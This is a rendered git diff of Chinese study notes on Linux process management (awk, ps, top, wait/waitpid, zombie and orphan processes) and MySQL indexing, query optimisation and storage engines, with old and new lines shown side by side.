| FS | 目前的分隔字符,默认是空格键 | | FS | 目前的分隔字符,默认是空格键 |
范例 2输出正在处理的行号,并显示每一行有多少字段 示例:显示正在处理的行号以及每一行有多少字段
```html ```html
$ last -n 5 | awk '{print $1 "\t lines: " NR "\t columns: " NF}' $ last -n 5 | awk '{print $1 "\t lines: " NR "\t columns: " NF}'
@ -1101,17 +1102,6 @@ dmtsai lines: 4 columns: 10
dmtsai lines: 5 columns: 9 dmtsai lines: 5 columns: 9
``` ```
可以使用条件,其中等于使用 ==。
范例 3/etc/passwd 文件第三个字段为 UID对 UID 小于 10 的数据进行处理。
```text
$ cat /etc/passwd | awk 'BEGIN {FS=":"} $3 < 10 {print $1 "\t " $3}'
root 0
bin 1
daemon 2
```
# 十、进程管理 # 十、进程管理
## 查看进程 ## 查看进程
@ -1122,74 +1112,76 @@ daemon 2
示例一:查看自己的进程 示例一:查看自己的进程
``` ```sh
# ps -l # ps -l
``` ```
示例二:查看系统所有进程 示例二:查看系统所有进程
``` ```sh
# ps aux # ps aux
``` ```
示例三:查看特定的进程 示例三:查看特定的进程
``` ```sh
# ps aux | grep threadx # ps aux | grep threadx
``` ```
### 2. top ### 2. pstree
实时显示进程信息
示例:两秒钟刷新一次
```
# top -d 2
```
### 3. pstree
查看进程树 查看进程树
示例:查看所有进程树 示例:查看所有进程树
``` ```sh
# pstree -A # pstree -A
``` ```
### 3. top
实时显示进程信息
示例:两秒钟刷新一次
```sh
# top -d 2
```
### 4. netstat ### 4. netstat
查看占用端口的进程 查看占用端口的进程
``` 示例:查看特定端口的进程
```sh
# netstat -anp | grep port # netstat -anp | grep port
``` ```
## 进程状态 ## 进程状态
<div align="center"> <img src="../pics//76a49594323247f21c9b3a69945445ee.png" width=""/> </div><br>
| 状态 | 说明 | | 状态 | 说明 |
| :---: | --- | | :---: | --- |
| R | running or runnable (on run queue) | | R | running or runnable (on run queue) |
| D | uninterruptible sleep (usually IO) | | D | uninterruptible sleep (usually I/O) |
| S | interruptible sleep (waiting for an event to complete) | | S | interruptible sleep (waiting for an event to complete) |
| Z | defunct/zombie, terminated but not reaped by its parent | | Z | zombie (terminated but not reaped by its parent) |
| T | stopped, either by a job control signal or because it is being traced| | T | stopped (either by a job control signal or because it is being traced) |
<br>
<div align="center"> <img src="../pics//76a49594323247f21c9b3a69945445ee.png" width=""/> </div><br>
## SIGCHLD ## SIGCHLD
当一个子进程改变了它的状态时停止运行,继续运行或者退出,有两件事会发生在父进程中: 当一个子进程改变了它的状态时停止运行,继续运行或者退出,有两件事会发生在父进程中:
- 得到 SIGCHLD 信号; - 得到 SIGCHLD 信号;
- waitpid() 或者 wait() 调用会返回。 - waitpid() 或者 wait() 调用会返回。
<div align="center"> <img src="../pics//flow.png" width=""/> </div><br>
其中子进程发送的 SIGCHLD 信号包含了子进程的信息,包含了进程 ID、进程状态、进程使用 CPU 的时间等。 其中子进程发送的 SIGCHLD 信号包含了子进程的信息,包含了进程 ID、进程状态、进程使用 CPU 的时间等。
在子进程退出时,它的进程描述符不会立即释放,这是为了让父进程得到子进程信息父进程通过 wait() 和 waitpid() 来获得一个已经退出的子进程的信息。 在子进程退出时,它的进程描述符不会立即释放,这是为了让父进程得到子进程信息父进程通过 wait() 和 waitpid() 来获得一个已经退出的子进程的信息。
<div align="center"> <img src="../pics//flow.png" width=""/> </div><br>
## wait() ## wait()
@ -1199,13 +1191,9 @@ pid_t wait(int *status)
父进程调用 wait() 会一直阻塞,直到收到一个子进程退出的 SIGCHLD 信号,之后 wait() 函数会销毁子进程并返回。 父进程调用 wait() 会一直阻塞,直到收到一个子进程退出的 SIGCHLD 信号,之后 wait() 函数会销毁子进程并返回。
如果成功,返回被收集的子进程的进程 ID如果调用进程没有子进程调用就会失败此时返回 - 1同时 errno 被置为 ECHILD。 如果成功,返回被收集的子进程的进程 ID如果调用进程没有子进程调用就会失败此时返回 -1同时 errno 被置为 ECHILD。
参数 status 用来保存被收集进程退出时的一些状态,如果我们对这个子进程是如何死掉的毫不在意,只想把这个僵尸进程消灭掉,以设这个参数为 NULL 参数 status 用来保存被收集的子进程退出时的一些状态,如果对这个子进程是如何死掉的毫不在意,只想把这个进程消灭掉,以设这个参数为 NULL
```c
pid = wait(NULL);
```
## waitpid() ## waitpid()
@ -1215,31 +1203,34 @@ pid_t waitpid(pid_t pid, int *status, int options)
作用和 wait() 完全相同,但是多了两个可由用户控制的参数 pid 和 options。 作用和 wait() 完全相同,但是多了两个可由用户控制的参数 pid 和 options。
pid 参数指示一个子进程的 ID表示只关心这个子进程退出 SIGCHLD 信号。如果 pid=-1 时,那么和 wait() 作用相同,都是关心所有子进程退出的 SIGCHLD 信号。 pid 参数指示一个子进程的 ID表示只关心这个子进程退出 SIGCHLD 信号。如果 pid=-1 时,那么和 wait() 作用相同,都是关心所有子进程退出的 SIGCHLD 信号。
options 参数主要有 WNOHANG 和 WUNTRACED 两个选项WNOHANG 可以使 waitpid() 调用变成非阻塞的,也就是说它会立即返回,父进程可以继续执行其它任务。 options 参数主要有 WNOHANG 和 WUNTRACED 两个选项WNOHANG 可以使 waitpid() 调用变成非阻塞的,也就是说它会立即返回,父进程可以继续执行其它任务。
## 孤儿进程 ## 孤儿进程
一个父进程退出,而它的一个或多个子进程还在运行,那么这些子进程将成为孤儿进程。孤儿进程将被 init 进程(进程号为 1所收养并由 init 进程对它们完成状态收集工作。 一个父进程退出,而它的一个或多个子进程还在运行,那么这些子进程将成为孤儿进程。
孤儿进程将被 init 进程(进程号为 1所收养并由 init 进程对它们完成状态收集工作。
由于孤儿进程会被 init 进程收养,所以孤儿进程不会对系统造成危害。 由于孤儿进程会被 init 进程收养,所以孤儿进程不会对系统造成危害。
## 僵进程 ## 僵进程
一个子进程的进程描述符在子进程退出时不会释放,只有当父进程通过 wait() 或 waitpid() 获取了子进程信息后才会释放。如果子进程退出,而父进程并没有调用 wait() 或 waitpid(),那么子进程的进程描述符仍然保存在系统中,这种进程称之为僵进程。 一个子进程的进程描述符在子进程退出时不会释放,只有当父进程通过 wait() 或 waitpid() 获取了子进程信息后才会释放。如果子进程退出,而父进程并没有调用 wait() 或 waitpid(),那么子进程的进程描述符仍然保存在系统中,这种进程称之为僵进程。
进程通过 ps 命令显示出来的状态为 Z。 进程通过 ps 命令显示出来的状态为 Zzombie
系统所能使用的进程号是有限的,如果大量的产生僵死进程,将因为没有可用的进程号而导致系统不能产生新的进程。 系统所能使用的进程号是有限的,如果产生大量僵尸进程,将因为没有可用的进程号而导致系统不能产生新的进程。
要消灭系统中大量的僵进程,只需要将其父进程杀死,此时所有的僵死进程就会变成孤儿进程,从而被 init 所收养,这样 init 就会释放所有的僵进程所占有的资源,从而结束僵进程。 要消灭系统中大量的僵进程,只需要将其父进程杀死,此时僵尸进程就会变成孤儿进程,从而被 init 所收养,这样 init 就会释放所有的僵进程所占有的资源,从而结束僵进程。
# 参考资料 # 参考资料
- 鸟哥. 鸟 哥 的 Linux 私 房 菜 基 础 篇 第 三 版[J]. 2009. - 鸟哥. 鸟 哥 的 Linux 私 房 菜 基 础 篇 第 三 版[J]. 2009.
- [Linux 平台上的软件包管理](https://www.ibm.com/developerworks/cn/linux/l-cn-rpmdpkg/index.html) - [Linux 平台上的软件包管理](https://www.ibm.com/developerworks/cn/linux/l-cn-rpmdpkg/index.html)
- [Linux 之守护进程、僵死进程与孤儿进程](http://liubigbin.github.io/2016/03/11/Linux-%E4%B9%8B%E5%AE%88%E6%8A%A4%E8%BF%9B%E7%A8%8B%E3%80%81%E5%83%B5%E6%AD%BB%E8%BF%9B%E7%A8%8B%E4%B8%8E%E5%AD%A4%E5%84%BF%E8%BF%9B%E7%A8%8B/) - [Linux 之守护进程、僵死进程与孤儿进程](http://liubigbin.github.io/2016/03/11/Linux-%E4%B9%8B%E5%AE%88%E6%8A%A4%E8%BF%9B%E7%A8%8B%E3%80%81%E5%83%B5%E6%AD%BB%E8%BF%9B%E7%A8%8B%E4%B8%8E%E5%AD%A4%E5%84%BF%E8%BF%9B%E7%A8%8B/)
- [What is the difference between a symbolic link and a hard link?](https://stackoverflow.com/questions/185899/what-is-the-difference-between-a-symbolic-link-and-a-hard-link)
- [Linux process states](https://idea.popcount.org/2012-12-11-linux-process-states/) - [Linux process states](https://idea.popcount.org/2012-12-11-linux-process-states/)
- [GUID Partition Table](https://en.wikipedia.org/wiki/GUID_Partition_Table) - [GUID Partition Table](https://en.wikipedia.org/wiki/GUID_Partition_Table)
- [详解 wait 和 waitpid 函数](https://blog.csdn.net/kevinhg/article/details/7001719) - [详解 wait 和 waitpid 函数](https://blog.csdn.net/kevinhg/article/details/7001719)

View File

@ -1,227 +1,119 @@
<!-- GFM-TOC --> <!-- GFM-TOC -->
* [一、存储引擎](#一存储引擎) * [一、索引](#一索引)
* [B+ Tree 原理](#b-tree-原理)
* [MySQL 索引](#mysql-索引)
* [索引优化](#索引优化)
* [索引的优点](#索引的优点)
* [索引的使用条件](#索引的使用条件)
* [二、查询性能优化](#二查询性能优化)
* [使用 Explain 进行分析](#使用-explain-进行分析)
* [优化数据访问](#优化数据访问)
* [重构查询方式](#重构查询方式)
* [三、存储引擎](#三存储引擎)
* [InnoDB](#innodb) * [InnoDB](#innodb)
* [MyISAM](#myisam) * [MyISAM](#myisam)
* [比较](#比较) * [比较](#比较)
* [、数据类型](#数据类型) * [、数据类型](#数据类型)
* [整型](#整型) * [整型](#整型)
* [浮点数](#浮点数) * [浮点数](#浮点数)
* [字符串](#字符串) * [字符串](#字符串)
* [时间和日期](#时间和日期) * [时间和日期](#时间和日期)
* [三、索引](#三索引)
* [B-Tree 和 B+Tree 原理](#b-tree-和-btree-原理)
* [索引分类](#索引分类)
* [索引的优点](#索引的优点)
* [索引优化](#索引优化)
* [四、查询性能优化](#四查询性能优化)
* [使用 Explain 进行分析](#使用-explain-进行分析)
* [优化数据访问](#优化数据访问)
* [重构查询方式](#重构查询方式)
* [五、切分](#五切分) * [五、切分](#五切分)
* [水平切分](#水平切分) * [水平切分](#水平切分)
* [垂直切分](#垂直切分) * [垂直切分](#垂直切分)
* [Sharding 策略](#sharding-策略) * [Sharding 策略](#sharding-策略)
* [Sharding 存在的问题](#sharding-存在的问题) * [Sharding 存在的问题](#sharding-存在的问题)
* [六、复制](#六复制)
* [主从复制](#主从复制)
* [读写分离](#读写分离)
* [参考资料](#参考资料) * [参考资料](#参考资料)
<!-- GFM-TOC --> <!-- GFM-TOC -->
# 一、存储引擎 # 一、索引
## InnoDB ## B+ Tree 原理
InnoDB 是 MySQL 默认的事务型存储引擎,只有在需要 InnoDB 不支持的特性时,才考虑使用其它存储引擎。 ### 1. 数据结构
采用 MVCC 来支持高并发并且实现了四个标准的隔离级别默认级别是可重复读REPEATABLE READ并且通过间隙锁next-key locking策略防止幻读的出现。间隙锁使得 InnoDB 不仅仅锁定查询涉及的行,还会对索引中的间隙进行锁定,以防止幻影行的插入 B Tree 指的是 Balance Tree也就是平衡树。平衡树是一颗查找树并且所有叶子节点位于同一层
表是基于聚簇索引建立的,它对主键的查询性能有很大的提升 B+ Tree 是基于 B Tree 和叶子节点顺序访问指针进行实现,它具有 B Tree 的平衡性,并且通过顺序访问指针来提高区间查询性能。
内部做了很多优化,包括从磁盘读取数据时采用的可预测性读、能够自动在内存中创建哈希索引以加速读操作的自适应哈希索引、能够加速插入操作的插入缓冲区等 在 B+ Tree 中,一个节点中的 key 从左到右非递减排列,如果某个指针的左右相邻 key 分别是 key<sub>i</sub> 和 key<sub>i+1</sub>,且不为 null则该指针指向节点的所有 key 大于等于 key<sub>i</sub> 且小于等于 key<sub>i+1</sub>
通过一些机制和工具支持真正的热备份。其它存储引擎不支持热备份,要获取一致性视图需要停止对所有表的写入,而在读写混合场景中,停止写入可能也意味着停止读取。 <div align="center"> <img src="../pics//061c88c1-572f-424f-b580-9cbce903a3fe.png"/> </div><br>
## MyISAM ### 2. 操作
MyISAM 提供了大量的特性,包括压缩表、空间数据索引等 进行查找操作时,首先在根节点进行二分查找,找到一个 key 所在的指针,然后递归地在指针所指向的节点进行查找。直到查找到叶子节点,然后在叶子节点上进行二分查找,找出 key 所对应的 data
不支持事务 插入删除操作会破坏平衡树的平衡性,因此在插入删除操作之后,需要对树进行一个分裂、合并、旋转等操作来维护平衡性
不支持行级锁只能对整张表加锁读取时会对需要读到的所有表加共享锁写入时则对表加排它锁。但在表有读取查询的同时也可以往表中插入新的记录这被称为并发插入CONCURRENT INSERT ### 3. 与红黑树的比较
可以手工或者自动执行检查和修复操作,但是和事务恢复以及崩溃恢复不同,可能导致一些数据丢失,而且修复操作是非常慢的。 红黑树等平衡树也可以用来实现索引,但是文件系统及数据库系统普遍采用 B+ Tree 作为索引结构,主要有以下两个原因:
如果指定了 DELAY_KEY_WRITE 选项,在每次修改执行完成时,不会立即将修改的索引数据写入磁盘,而是会写到内存中的键缓冲区,只有在清理键缓冲区或者关闭表的时候才会将对应的索引块写入磁盘。这种方式可以极大的提升写入性能,但是在数据库或者主机崩溃时会造成索引损坏,需要执行修复操作。 (一)更少的查找次数
MyISAM 设计简单,数据以紧密格式存储。对于只读数据,或者表比较小、可以容忍修复操作,则依然可以继续使用 MyISAM 平衡树查找操作的时间复杂度等于树高 h而树高大致为 O(h)=O(log<sub>d</sub>N),其中 d 为每个节点的出度
## 比较 红黑树的出度为 2而 B+ Tree 的出度一般都非常大,所以红黑树的树高 h 很明显比 B+ Tree 大非常多,查找的次数也就更多。
- 事务InnoDB 是事务型的。 (二)利用磁盘预读特性
- 备份InnoDB 支持在线热备份 为了减少磁盘 I/O磁盘往往不是严格按需读取而是每次都会预读。预读过程中磁盘进行顺序读取顺序读取不需要进行磁盘寻道并且只需要很短的旋转时间速度会非常快
- 崩溃恢复MyISAM 崩溃后发生损坏的概率比 InnoDB 高很多,而且恢复的速度也更慢 操作系统一般将内存和磁盘分割成固态大小的块,每一块称为一页,内存与磁盘以页为单位交换数据。数据库系统将索引的一个节点的大小设置为页的大小,使得一次 I/O 就能完全载入一个节点。并且可以利用预读特性,相邻的节点也能够被预先载入
- 并发MyISAM 只支持表级锁,而 InnoDB 还支持行级锁。 ## MySQL 索引
- 其它特性MyISAM 支持压缩表和空间数据索引。
# 二、数据类型
## 整型
TINYINT, SMALLINT, MEDIUMINT, INT, BIGINT 分别使用 8, 16, 24, 32, 64 位存储空间,一般情况下越小的列越好。
INT(11) 中的数字只是规定了交互工具显示字符的个数,对于存储和计算来说是没有意义的。
## 浮点数
FLOAT 和 DOUBLE 为浮点类型DECIMAL 为高精度小数类型。CPU 原生支持浮点运算,但是不支持 DECIMAl 类型的计算,因此 DECIMAL 的计算比浮点类型需要更高的代价。
FLOAT、DOUBLE 和 DECIMAL 都可以指定列宽,例如 DECIMAL(18, 9) 表示总共 18 位,取 9 位存储小数部分,剩下 9 位存储整数部分。
## 字符串
主要有 CHAR 和 VARCHAR 两种类型,一种是定长的,一种是变长的。
VARCHAR 这种变长类型能够节省空间,因为只需要存储必要的内容。但是在执行 UPDATE 时可能会使行变得比原来长当超出一个页所能容纳的大小时就要执行额外的操作。MyISAM 会将行拆成不同的片段存储,而 InnoDB 则需要分裂页来使行放进页内。
VARCHAR 会保留字符串末尾的空格,而 CHAR 会删除。
## 时间和日期
MySQL 提供了两种相似的日期时间类型DATATIME 和 TIMESTAMP。
### 1. DATATIME
能够保存从 1001 年到 9999 年的日期和时间,精度为秒,使用 8 字节的存储空间。
它与时区无关。
默认情况下MySQL 以一种可排序的、无歧义的格式显示 DATATIME 值例如“2008-01-16 22:37:08”这是 ANSI 标准定义的日期和时间表示方法。
### 2. TIMESTAMP
和 UNIX 时间戳相同,保存从 1970 年 1 月 1 日午夜(格林威治时间)以来的秒数,使用 4 个字节,只能表示从 1970 年 到 2038 年。
它和时区有关,也就是说一个时间戳在不同的时区所代表的具体时间是不同的。
MySQL 提供了 FROM_UNIXTIME() 函数把 UNIX 时间戳转换为日期,并提供了 UNIX_TIMESTAMP() 函数把日期转换为 UNIX 时间戳。
默认情况下,如果插入时没有指定 TIMESTAMP 列的值,会将这个值设置为当前时间。
应该尽量使用 TIMESTAMP因为它比 DATETIME 空间效率更高。
# 三、索引
索引是在存储引擎层实现的,而不是在服务器层实现的,所以不同存储引擎具有不同的索引类型和实现。 索引是在存储引擎层实现的,而不是在服务器层实现的,所以不同存储引擎具有不同的索引类型和实现。
索引能够轻易将查询性能提升几个数量级。
对于非常小的表、大部分情况下简单的全表扫描比建立索引更高效。对于中到大型的表,索引就非常有效。但是对于特大型的表,建立和使用索引的代价将会随之增长。这种情况下,需要用到一种技术可以直接区分出需要查询的一组数据,而不是一条记录一条记录地匹配,例如可以使用分区技术。
## B-Tree 和 B+Tree 原理
### 1. B-Tree
<div align="center"> <img src="../pics//5ed71283-a070-4b21-85ae-f2cbfd6ba6e1.jpg"/> </div><br>
定义一条数据记录为一个二元组 [key, data]B-Tree 是满足下列条件的数据结构:
- 所有叶节点具有相同的深度,也就是说 B-Tree 是平衡的;
- 一个节点中的 key 从左到右非递减排列;
- 如果某个指针的左右相邻 key 分别是 key<sub>i</sub> 和 key<sub>i+1</sub>,且不为 null则该指针指向节点的所有 key 大于等于 key<sub>i</sub> 且小于等于 key<sub>i+1</sub>
查找算法:首先在根节点进行二分查找,如果找到则返回对应节点的 data否则在相应区间的指针指向的节点递归进行查找。
由于插入删除新的数据记录会破坏 B-Tree 的性质,因此在插入删除时,需要对树进行一个分裂、合并、转移等操作以保持 B-Tree 性质。
### 2. B+Tree
<div align="center"> <img src="../pics//63cd5b50-d6d8-4df6-8912-ef4a1dd5ba13.jpg"/> </div><br>
与 B-Tree 相比B+Tree 有以下不同点:
- 每个节点的指针上限为 2d 而不是 2d+1d 为节点的出度);
- 内节点不存储 data只存储 key
- 叶子节点不存储指针。
### 3. 顺序访问指针
<div align="center"> <img src="../pics//1ee5f0a5-b8df-43b9-95ab-c516c54ec797.jpg"/> </div><br>
一般在数据库系统或文件系统中使用的 B+Tree 结构都在经典 B+Tree 基础上进行了优化,在叶子节点增加了顺序访问指针,做这个优化的目的是为了提高区间访问的性能。
### 4. B+Tree 和 B-Tree 优势
红黑树等平衡树也可以用来实现索引,但是文件系统及数据库系统普遍采用 B+Tree 和 B-Tree 作为索引结构,主要有以下两个原因:
**(一)更少的检索次数**
平衡树检索数据的时间复杂度等于树高 h而树高大致为 O(h)=O(log<sub>d</sub>N),其中 d 为每个节点的出度。
红黑树的出度为 2而 B+Tree 与 B-Tree 的出度一般都非常大。红黑树的树高 h 很明显比 B+Tree 和 B-Tree 大非常多,因此检索的次数也就更多。
B+Tree 相比于 B-Tree 更适合外存索引,因为 B+Tree 内节点去掉了 data 域,因此可以拥有更大的出度,检索效率会更高。
**(二)利用计算机预读特性**
为了减少磁盘 I/O磁盘往往不是严格按需读取而是每次都会预读。这样做的理论依据是计算机科学中著名的局部性原理当一个数据被用到时其附近的数据也通常会马上被使用。预读过程中磁盘进行顺序读取顺序读取不需要进行磁盘寻道并且只需要很短的旋转时间因此速度会非常快。
操作系统一般将内存和磁盘分割成固态大小的块,每一块称为一页,内存与磁盘以页为单位交换数据。数据库系统将索引的一个节点的大小设置为页的大小,使得一次 I/O 就能完全载入一个节点,并且可以利用预读特性,临近的节点也能够被预先载入。
更多内容请参考:[MySQL 索引背后的数据结构及算法原理](http://blog.codinglabs.org/articles/theory-of-mysql-index.html)
## 索引分类
### 1. B+Tree 索引 ### 1. B+Tree 索引
<div align="center"> <img src="../pics//c23957e9-a572-44f8-be15-f306c8b92722.jpg"/> </div><br> 是大多数 MySQL 存储引擎的默认索引类型。
《高性能 MySQL》一书使用 B-Tree 进行描述,其实从技术上来说这种索引是 B+Tree因为只有叶子节点存储数据值 因为不再需要进行全表扫描,只需要对树进行搜索即可,所以查找速度快很多
B+Tree 索引是大多数 MySQL 存储引擎的默认索引类型 除了用于查找,还可以用于排序和分组
因为不再需要进行全表扫描,只需要对树进行搜索即可,因此查找速度快很多。除了用于查找,还可以用于排序和分组 可以指定多个列作为索引列,多个索引列共同组成键
可以指定多个列作为索引列多个索引列共同组成键。B+Tree 索引适用于全键值、键值范围和键前缀查找,其中键前缀查找只适用于最左前缀查找。如果不是按照索引列的顺序进行查找,则无法使用索引。 适用于全键值、键值范围和键前缀查找,其中键前缀查找只适用于最左前缀查找。如果不是按照索引列的顺序进行查找,则无法使用索引。
InnoDB 的 B+Tree 索引分为主索引和辅助索引。主索引的叶子节点 data 域记录着完整的数据记录,这种索引方式被称为聚簇索引。因为无法把数据行存放在两个不同的地方,所以一个表只能有一个聚簇索引。
<div align="center"> <img src="../pics//c28c6fbc-2bc1-47d9-9b2e-cf3d4034f877.jpg"/> </div><br>
辅助索引的叶子节点的 data 域记录着主键的值,因此在使用辅助索引进行查找时,需要先查找到主键值,然后再到主索引中进行查找。
<div align="center"> <img src="../pics//7ab8ca28-2a41-4adf-9502-cc0a21e63b51.jpg"/> </div><br>
### 2. 哈希索引 ### 2. 哈希索引
基于哈希表实现,优点是查找非常快。 哈希索引能以 O(1) 时间进行查找,但是失去了有序性:
在 MySQL 中只有 Memory 引擎显式支持哈希索引。
InnoDB 引擎有一个特殊的功能叫“自适应哈希索引”,当某个索引值被使用的非常频繁时,会在 B+Tree 索引之上再创建一个哈希索引,这样就让 B+Tree 索引具有哈希索引的一些优点,比如快速的哈希查找。
限制:
- 哈希索引只包含哈希值和行指针,而不存储字段值,所以不能使用索引中的值来避免读取行。不过,访问内存中的行的速度很快,所以大部分情况下这一点对性能影响并不明显;
- 无法用于排序与分组; - 无法用于排序与分组;
- 只支持精确查找,无法用于部分查找和范围查找 - 只支持精确查找,无法用于部分查找和范围查找
- 如果哈希冲突很多,查找速度会变得很慢。
### 3. 空间数据索引R-Tree InnoDB 存储引擎有一个特殊的功能叫“自适应哈希索引”,当某个索引值被使用的非常频繁时,会在 B+Tree 索引之上再创建一个哈希索引,这样就让 B+Tree 索引具有哈希索引的一些优点,比如快速的哈希查找。
MyISAM 存储引擎支持空间数据索引,可以用于地理数据存储。 ### 3. 全文索引
空间数据索引会从所有维度来索引数据,可以有效地使用任意维度来进行组合查询 MyISAM 存储引擎支持全文索引,用于查找文本中的关键词,而不是直接比较是否相等
必须使用 GIS 相关的函数来维护数据 查找条件使用 MATCH AGAINST而不是普通的 WHERE
### 4. 全文索引 全文索引使用倒排索引实现,它记录着关键词到其所在文档的映射。
MyISAM 存储引擎支持全文索引,用于查找文本中的关键词,而不是直接比值是否相等。查找条件使用 MATCH AGAINST而不是普通的 WHERE。
InnoDB 存储引擎在 MySQL 5.6.4 版本中也开始支持全文索引。 InnoDB 存储引擎在 MySQL 5.6.4 版本中也开始支持全文索引。
## 索引的优点 ### 4. 空间数据索引
- 大大减少了服务器需要扫描的数据量; MyISAM 存储引擎支持空间数据索引R-Tree可以用于地理数据存储。空间数据索引会从所有维度来索引数据可以有效地使用任意维度来进行组合查询。
- 帮助服务器避免进行排序和创建临时表B+Tree 索引是有序的,可以用来做 ORDER BY 和 GROUP BY 操作); 必须使用 GIS 相关的函数来维护数据。
- 将随机 I/O 变为顺序 I/OB+Tree 索引是有序的,也就将相邻的数据都存储在一起)。
## 索引优化 ## 索引优化
@ -241,12 +133,14 @@ SELECT actor_id FROM sakila.actor WHERE actor_id + 1 = 5;
```sql ```sql
SELECT film_id, actor_ id FROM sakila.film_actor SELECT film_id, actor_ id FROM sakila.film_actor
WhERE actor_id = 1 AND film_id = 1; WHERE actor_id = 1 AND film_id = 1;
``` ```
### 3. 索引列的顺序 ### 3. 索引列的顺序
让选择性最强的索引列放在前面,索引的选择性是指:不重复的索引值和记录总数的比值。最大值为 1此时每个记录都有唯一的索引与其对应。选择性越高查询效率也越高 让选择性最强的索引列放在前面。
索引的选择性是指:不重复的索引值和记录总数的比值。最大值为 1此时每个记录都有唯一的索引与其对应。选择性越高查询效率也越高。
例如下面显示的结果中 customer_id 的选择性比 staff_id 更高,因此最好把 customer_id 列放在多列索引的前面。 例如下面显示的结果中 customer_id 的选择性比 staff_id 更高,因此最好把 customer_id 列放在多列索引的前面。
@ -273,40 +167,33 @@ customer_id_selectivity: 0.0373
索引包含所有需要查询的字段的值。 索引包含所有需要查询的字段的值。
**优点** 具有以下优点:
- 因为索引条目通常远小于数据行的大小,所以若只读取索引能大大减少数据访问量。 - 索引通常远小于数据行的大小,只读取索引能大大减少数据访问量。
- 一些存储引擎(例如 MyISAM在内存中只缓存索引而数据依赖于操作系统来缓存。因此只访问索引可以不使用系统调用通常比较费时 - 一些存储引擎(例如 MyISAM在内存中只缓存索引而数据依赖于操作系统来缓存。因此只访问索引可以不使用系统调用通常比较费时
- 对于 InnoDB 引擎,若二级索引能够覆盖查询,则无需访问聚簇索引。 - 对于 InnoDB 引擎,若辅助索引能够覆盖查询,则无需访问索引。
### 6. 聚簇索引 ## 索引的优点
<div align="center"> <img src="../pics//e800b001-7779-495b-8459-d33a7440d7b8.jpg"/> </div><br> - 大大减少了服务器需要扫描的数据行数。
聚簇索引并不是一种索引类型,而是一种数据存储方式 - 帮助服务器避免进行排序和分组以及避免创建临时表B+Tree 索引是有序的,可以用于 ORDER BY 和 GROUP BY 操作。临时表主要是在排序和分组过程中创建,因为不需要排序和分组,也就不需要创建临时表)
术语“聚簇”表示数据行和相邻的键值紧密地存储在一起InnoDB 的聚簇索引在同一个结构中保存了 B+Tree 索引和数据行 - 将随机 I/O 变为顺序 I/OB+Tree 索引是有序的,会将相邻的数据都存储在一起)
因为无法把数据行存放在两个不同的地方,所以一个表只能有一个聚簇索引。 ## 索引的使用条件
**优点** - 对于非常小的表、大部分情况下简单的全表扫描比建立索引更高效;
- 可以把相关数据保存在一起,减少 I/O 操作。例如电子邮件表可以根据用户 ID 来聚集数据,这样只需要从磁盘读取少数的数据也就能获取某个用户的全部邮件,如果没有使用聚聚簇索引,则每封邮件都可能导致一次磁盘 I/O。 - 对于中到大型的表,索引就非常有效;
- 数据访问更快。
**缺点** - 但是对于特大型的表,建立和维护索引的代价将会随之增长。这种情况下,需要用到一种技术可以直接区分出需要查询的一组数据,而不是一条记录一条记录地匹配,例如可以使用分区技术。
- 聚簇索引最大限度提高了 I/O 密集型应用的性能,但是如果数据全部放在内存,就没必要用聚簇索引。 # 二、查询性能优化
- 插入速度严重依赖于插入顺序,按主键的顺序插入是最快的。
- 更新操作代价很高,因为每个被更新的行都会移动到新的位置。
- 当插入到某个已满的页中,存储引擎会将该页分裂成两个页面来容纳该行,页分裂会导致表占用更多的磁盘空间。
- 如果行比较稀疏,或者由于页分裂导致数据存储不连续时,聚簇索引可能导致全表扫描速度变慢。
# 四、查询性能优化
## 使用 Explain 进行分析 ## 使用 Explain 进行分析
Explain 用来分析 SELECT 查询语句,开发人员可以通过分析结果来优化查询语句。 Explain 用来分析 SELECT 查询语句,开发人员可以通过分析 Explain 结果来优化查询语句。
比较重要的字段有: 比较重要的字段有:
@ -314,23 +201,13 @@ Explain 用来分析 SELECT 查询语句,开发人员可以通过分析结果
- key : 使用的索引 - key : 使用的索引
- rows : 扫描的行数 - rows : 扫描的行数
更多内容请参考:[MySQL 性能优化神器 Explain 使用分析](https://segmentfault.com/a/1190000008131735)
## 优化数据访问 ## 优化数据访问
### 1. 减少请求的数据量 ### 1. 减少请求的数据量
**(一)只返回必要的列** - 只返回必要的列:最好不要使用 SELECT * 语句。
- 只返回必要的行:使用 LIMIT 语句来限制返回的数据。
最好不要使用 SELECT * 语句 - 缓存重复查询的数据:使用缓存可以避免在数据库中进行查询,特别在要查询的数据经常被重复查询时,缓存带来的查询性能提升将会是非常明显的
**(二)只返回必要的行**
使用 WHERE 语句进行查询过滤,有时候也需要使用 LIMIT 语句来限制返回的数据。
**(三)缓存重复查询的数据**
使用缓存可以避免在数据库中进行查询,特别要查询的数据经常被重复查询,缓存可以带来的查询性能提升将会是非常明显的。
### 2. 减少服务器端扫描的行数 ### 2. 减少服务器端扫描的行数
@ -356,13 +233,13 @@ do {
### 2. 分解大连接查询 ### 2. 分解大连接查询
将一个大连接查询JOIN分解成对每一个表进行一次单表查询,然后将结果在应用程序中进行关联,这样做的好处有: 将一个大连接查询分解成对每一个表进行一次单表查询,然后在应用程序中进行关联,这样做的好处有:
- 让缓存更高效。对于连接查询,如果其中一个表发生变化,那么整个查询缓存就无法使用。而分解后的多个查询,即使其中一个表发生变化,对其它表的查询缓存依然可以使用。 - 让缓存更高效。对于连接查询,如果其中一个表发生变化,那么整个查询缓存就无法使用。而分解后的多个查询,即使其中一个表发生变化,对其它表的查询缓存依然可以使用。
- 减少锁竞争;
- 在应用层进行连接,可以更容易对数据库进行拆分,从而更容易做到高性能和可扩展。
- 查询本身效率也可能会有所提升。例如下面的例子中,使用 IN() 代替连接查询,可以让 MySQL 按照 ID 顺序进行查询,这可能比随机的连接要更高效。
- 分解成多个单表查询,这些单表查询的缓存结果更可能被其它查询使用到,从而减少冗余记录的查询。 - 分解成多个单表查询,这些单表查询的缓存结果更可能被其它查询使用到,从而减少冗余记录的查询。
- 减少锁竞争;
- 在应用层进行连接,可以更容易对数据库进行拆分,从而更容易做到高性能和可伸缩。
- 查询本身效率也可能会有所提升。例如下面的例子中,使用 IN() 代替连接查询,可以让 MySQL 按照 ID 顺序进行查询,这可能比随机的连接要更高效。
```sql ```sql
SELECT * FROM tab SELECT * FROM tab
@ -377,55 +254,169 @@ SELECT * FROM tag_post WHERE tag_id=1234;
SELECT * FROM post WHERE post.id IN (123,456,567,9098,8904); SELECT * FROM post WHERE post.id IN (123,456,567,9098,8904);
``` ```
# 三、存储引擎
## InnoDB
是 MySQL 默认的事务型存储引擎,只有在需要它不支持的特性时,才考虑使用其它存储引擎。
